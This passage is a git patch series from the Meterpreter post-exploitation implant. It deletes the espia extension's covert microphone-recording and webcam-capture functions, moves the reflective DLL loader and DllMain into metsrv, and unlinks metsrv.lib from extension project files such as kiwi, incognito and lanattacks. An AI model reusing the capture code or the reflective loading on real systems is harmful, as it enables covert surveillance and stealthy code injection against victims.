capmicaudio(char* szFile, int millisecs) -{ - UINT wDeviceID; - DWORD dwReturn; - MCI_OPEN_PARMSA mciOpenParms; - MCI_RECORD_PARMS mciRecordParms; - MCI_SAVE_PARMSA mciSaveParms; - MCI_PLAY_PARMS mciPlayParms; - DWORD dwMilliSeconds; - - dwMilliSeconds = millisecs; - - // Open a waveform-audio device with a new file for recording. - mciOpenParms.lpstrDeviceType = "waveaudio"; - mciOpenParms.lpstrElementName = ""; - if (dwReturn = mciSendCommand(0, MCI_OPEN, MCI_OPEN_ELEMENT | MCI_OPEN_TYPE, (DWORD_PTR)(LPVOID)&mciOpenParms)) - { - // Failed to open device; don't close it, just return error. - return (dwReturn); - } - - // The device opened successfully; get the device ID. - wDeviceID = mciOpenParms.wDeviceID; - - mciRecordParms.dwTo = dwMilliSeconds; - if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD, - MCI_TO | MCI_WAIT, (DWORD)(DWORD_PTR)&mciRecordParms)) - { - mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0); - return (dwReturn); - } - - // Play the recording and query user to save the file. - mciPlayParms.dwFrom = 0L; - - // Save the recording to a file. Wait for - // the operation to complete before continuing. - mciSaveParms.lpfilename = szFile; - if (dwReturn = mciSendCommandA(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD_PTR)(LPVOID)&mciSaveParms)) - { - mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0); - return (dwReturn); - } - - return (0L); -} - -// TODO: remove this junk? -int __declspec(dllexport) controlmic(char **waveresults, int msecs) { - DWORD dwError = 0; - char *wavestring = NULL; - - /* METERPRETER CODE */ - // char buffer[100]; - /* END METERPRETER CODE */ - - capmicaudio("C:\\test.wav", msecs); - - *waveresults = wavestring; - - /* return the correct code */ - return dwError; -} - - -/* - * Grabs the audio from mic. - */ -DWORD request_audio_get_dev_audio(Remote* remote, Packet* packet) -{ - Packet* response = met_api->packet.create_response(packet); - DWORD res = ERROR_SUCCESS; - char* wave = NULL; - - if (controlmic(&wave, met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) - { - res = GetLastError(); - } - - //met_api->packet.add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); - - - met_api->packet.transmit_response(res, remote, response); - - if (wave) - free(wave); - - return res; -} diff --git a/c/meterpreter/source/extensions/espia/audio.h b/c/meterpreter/source/extensions/espia/audio.h deleted file mode 100644 index 4f1ef76b..00000000 --- a/c/meterpreter/source/extensions/espia/audio.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H -#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H - -DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet); - -#endif diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index 3036c75f..79c15ac0 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -5,8 +5,6 @@ #include "common.h" #include "common_metapi.h" #include "espia.h" -#include "audio.h" -#include "video.h" #include "screen.h" // Required so that use of the API works. @@ -16,8 +14,6 @@ MetApi* met_api = NULL; Command customCommands[] = { - COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ), - COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ), COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ), COMMAND_TERMINATOR }; diff --git a/c/meterpreter/source/extensions/espia/video.c b/c/meterpreter/source/extensions/espia/video.c deleted file mode 100644 index 397279e6..00000000 --- a/c/meterpreter/source/extensions/espia/video.c +++ /dev/null @@ -1,133 +0,0 @@ -#include "common.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "espia.h" -#include "common_metapi.h" - -#pragma comment(lib, "vfw32.lib") - -#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0) - -BOOL capWebCam(char *szFile, int nIndex, int nX, int nY, int nMsg) -{ - HWND hWndCap = capCreateCaptureWindow(NULL, WS_CHILD , 0, 0, nX, nY, GetDesktopWindow(), 0); - - - if(!hWndCap) return FALSE; - - capDlgVideoSource(hWndCap); - - SetWindowLong(hWndCap,GWL_EXSTYLE,GetWindowLong(hWndCap,GWL_EXSTYLE)); - ShowWindow(hWndCap,TRUE); - capSendMessage(hWndCap, WM_CAP_DRIVER_DISCONNECT, 0, 0); - capSendMessage(hWndCap, WM_CAP_DRIVER_CONNECT, 0, 0); - capSendMessage(hWndCap, WM_CAP_SET_SCALE, TRUE, 0); - capSendMessage(hWndCap, WM_CAP_SET_PREVIEWRATE, 1, 0); - capSendMessage(hWndCap, WM_CAP_SET_PREVIEW, TRUE, 0); - capSendMessage(hWndCap, WM_CAP_GRAB_FRAME_NOSTOP, 0, 0); - capSendMessage(hWndCap, WM_CAP_FILE_SAVEDIB, 0, szFile); - DestroyWindow(hWndCap); - - return TRUE; -} - - -int GetCamIndex() -{ - int wIndex; - char szDeviceName[80]; - char szDeviceVersion[80]; - - for (wIndex = 0; wIndex < 9; wIndex++){ - if (capGetDriverDescriptionA(wIndex, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion))) - return wIndex; - } - return -1; -} - -// TODO: perhaps find a way of sharing this code with passwd.c? -char *StringCombine(char *string1, char *string2) { - size_t s1len, s2len; - - if (string2 == NULL) { // nothing to append - return string1; - } - - // TODO: what do we want to do if memory allocation fails? - s2len = strlen(string2); - if (string1 == NULL) { // create a new string - string1 = (char *)malloc(s2len + 1); - strncpy_s(string1, s2len + 1, string2, s2len + 1); - } else { // append data to the string - s1len = strlen(string1); - string1 = (char *)realloc(string1, s1len + s2len + 1); - strncat_s(string1, s1len + s2len + 1, string2, s2len + 1); - } - - return string1; -} - -// TODO: remove this junk?! -int __declspec(dllexport) controlcam(char **imageresults) { - DWORD dwError = 0; - char *imagestring = NULL; - - /* METERPRETER CODE */ - // char buffer[100]; - /* END METERPRETER CODE */ - - /////////////////// - int nIndex; - - nIndex= GetCamIndex(); - if(nIndex == -1){ - return nIndex; - } - capWebCam("C:\\test.bmp", nIndex, 640, 480, 10); - return 0; - //////////////////// - - - /* return hashresults */ - *imageresults = imagestring; - - /* return the correct code */ - return dwError; -} - - -/* - * Grabs the Webcam Image. - */ -DWORD request_video_get_dev_image(Remote* remote, Packet* packet) -{ - Packet* response = met_api->packet.create_response(packet); - DWORD res = ERROR_SUCCESS; - char* image = NULL; - - do - { - if (controlcam(&image)) - { - res = GetLastError(); - break; - } - - //met_api->packet.add_tlv_string(response, TLV_TYPE_DEV_IMAGE, image); - - } while (0); - - met_api->packet.transmit_response(res, remote, response); - - if (image) - free(image); - - return res; -} \ No newline at end of file diff --git a/c/meterpreter/source/extensions/espia/video.h b/c/meterpreter/source/extensions/espia/video.h deleted file mode 100644 index d929604d..00000000 --- a/c/meterpreter/source/extensions/espia/video.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H -#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_VIDEO_H - -DWORD request_video_get_dev_image(Remote *remote, Packet *packet); - -#endif diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index 04bd31db..cc99fd14 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -290,21 +290,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - - - - - - - - From 24e6067b5103d16f43ec00924a5e5d953c9a114c Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 20 Apr 2020 12:23:05 +1000 Subject: [PATCH 18/21] Update RDI, remove metsrv references/libs from extensions --- c/meterpreter/source/ReflectiveDLLInjection | 2 +- c/meterpreter/source/metsrv/metsrv.c | 35 +++++++++++++++++++ c/meterpreter/source/metsrv/server_setup.c | 10 ------ .../ext_server_espia/ext_server_espia.vcxproj | 20 +++++------ .../ext_server_extapi.vcxproj | 22 +++++------- .../ext_server_incognito.vcxproj | 22 +++++------- .../ext_server_kiwi/ext_server_kiwi.vcxproj | 22 +++++------- .../ext_server_lanattacks.vcxproj | 22 +++++------- .../ext_server_mimikatz.vcxproj | 22 +++++------- .../ext_server_peinjector.vcxproj | 22 +++++------- .../ext_server_powershell.vcxproj | 22 +++++------- .../ext_server_priv/ext_server_priv.vcxproj | 22 +++++------- .../ext_server_python.vcxproj | 20 +++++------ .../ext_server_sniffer.vcxproj | 10 ++---- .../ext_server_stdapi.vcxproj | 21 +++++------ .../ext_server_unhook.vcxproj | 22 +++++------- .../ext_server_winpmem.vcxproj | 22 +++++------- 17 files changed, 153 insertions(+), 185 deletions(-) diff --git a/c/meterpreter/source/ReflectiveDLLInjection b/c/meterpreter/source/ReflectiveDLLInjection index 1f4215be..d27340fc 160000 --- a/c/meterpreter/source/ReflectiveDLLInjection +++ b/c/meterpreter/source/ReflectiveDLLInjection @@ -1 +1 @@ -Subproject commit 1f4215be6456303b795ce2b7affc20e4de1089a5 +Subproject commit d27340fc3c286ac9e4520cf1e2797e5507e9a9c1 diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index cbd4d6c6..7095451f 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -5,8 +5,19 @@ #define UnpackAndLinkLibs(p, s) +#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); } + + +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + DWORD __declspec(dllexport) Init(MetsrvConfig* metConfig) { + // if hAppInstance is still == NULL it means that we havent been + // reflectivly loaded so we must patch in the hAppInstance value + // for use with loading server extensions later. + InitAppInstance(); + // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually // a pointer to the metserv configuration, so do a nasty cast and move on. dprintf("[METSRV] Getting ready to init with config %p", metConfig); @@ -33,6 +44,30 @@ DWORD __declspec(dllexport) Init(MetsrvConfig* metConfig) return result; } +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + + switch (dwReason) + { + case DLL_METASPLOIT_ATTACH: + bReturnValue = Init((MetsrvConfig*)lpReserved); + break; + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + #define SLEEP_MAX_SEC (MAXDWORD / 1000) /*! diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index 51a14049..9bc38698 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -11,16 +11,11 @@ extern Command* extensionCommands; -// include the Reflectiveloader() function -#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" - int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep) { return EXCEPTION_EXECUTE_HANDLER; } -#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); } - /*! * @brief Get the session id that this meterpreter server is running in. * @return ID of the current server session. @@ -324,11 +319,6 @@ DWORD server_setup(MetsrvConfig* config) disable_thread_error_reporting(); - // if hAppInstance is still == NULL it means that we havent been - // reflectivly loaded so we must patch in the hAppInstance value - // for use with loading server extensions later. - InitAppInstance(); - srand((unsigned int)time(NULL)); __try diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj index cc99fd14..ff387ef3 100644 --- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj +++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj @@ -104,8 +104,8 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -156,8 +156,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -210,8 +210,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\..\lib;%(AdditionalLibraryDirectories) false @@ -262,8 +262,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + ..\..\lib;%(AdditionalLibraryDirectories) false @@ -308,10 +308,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 11c18de9..216bd1c7 100644 --- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -102,8 +102,8 @@ true - gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -152,8 +152,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -204,8 +204,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -254,8 +254,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -324,10 +324,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -337,4 +333,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj index 12e4e0ae..376331e3 100644 --- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj +++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj @@ -104,8 +104,8 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false @@ -154,8 +154,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false @@ -207,8 +207,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -260,8 +260,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -305,10 +305,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -325,4 +321,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj index 80e66cd1..f7cb07a7 100644 --- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj +++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj @@ -126,9 +126,9 @@ true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -178,9 +178,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -234,9 +234,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -290,9 +290,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -328,10 +328,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -559,4 +555,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj index 9b009660..37e34d76 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj +++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj @@ -102,8 +102,8 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false @@ -145,8 +145,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false @@ -190,8 +190,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -240,8 +240,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -286,10 +286,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -299,4 +295,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj index 4a90444b..adf6599a 100644 --- a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj +++ b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj @@ -124,9 +124,9 @@ true - 